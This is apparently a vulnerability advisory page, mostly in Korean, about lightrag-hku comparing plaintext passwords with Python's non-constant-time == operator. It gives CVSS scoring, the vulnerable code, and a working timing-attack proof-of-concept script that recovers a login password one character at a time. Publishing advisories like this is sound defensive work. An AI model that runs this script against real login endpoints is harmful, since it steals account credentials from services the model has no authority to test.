lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function
위협 신호 · CVSS · EPSS · KEV
정기 패치· 높은 악용 신호 없음
CVSS
5.9medium
이론적 심각도 점수
EPSS
—예측 데이터 없음
KEV
미등재실측 악용 기록 없음
권장 대응 기한60일 이내CISA SSVC 기준
계획된 패치 주기 내 조치(60일 이내)
외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출
CVSS 벡터 · 메트릭
악용 경로
공격 벡터네트워크
공격 복잡도높음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.15.9MODERATE
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N상세 설명
Summary
When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.
Details
python
1# lightrag/api/passwords.py:13-26 2def verify_password(plain_password: str, stored_password: str) -> bool: 3 if stored_password.startswith("{bcrypt}"): 4 ... 5 return bcrypt.checkpw(...) # constant-time OK 6 7 return stored_password == plain_password # NOT constant-time VULN 8 # Python == short-circuits on first mismatched byte 9 # Timing leaks: password length + individual charactersPoC
python
1# Timing oracle: recover password char-by-char 2import httpx, time, string 3 4TARGET = "http://<TARGET>:9621/login" 5USER = "admin" 6 7def measure(pwd: str) -> float: 8 t = time.perf_counter() 9 httpx.post(TARGET, data={"username": USER, "password": pwd})10 return time.perf_counter() - t11 12known = ""13for _ in range(32):14 best = max(string.printable,15 key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))16 known += best17 print(f"Recovered: {known}")Impact
Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 6
링크 내용 불러오는 중…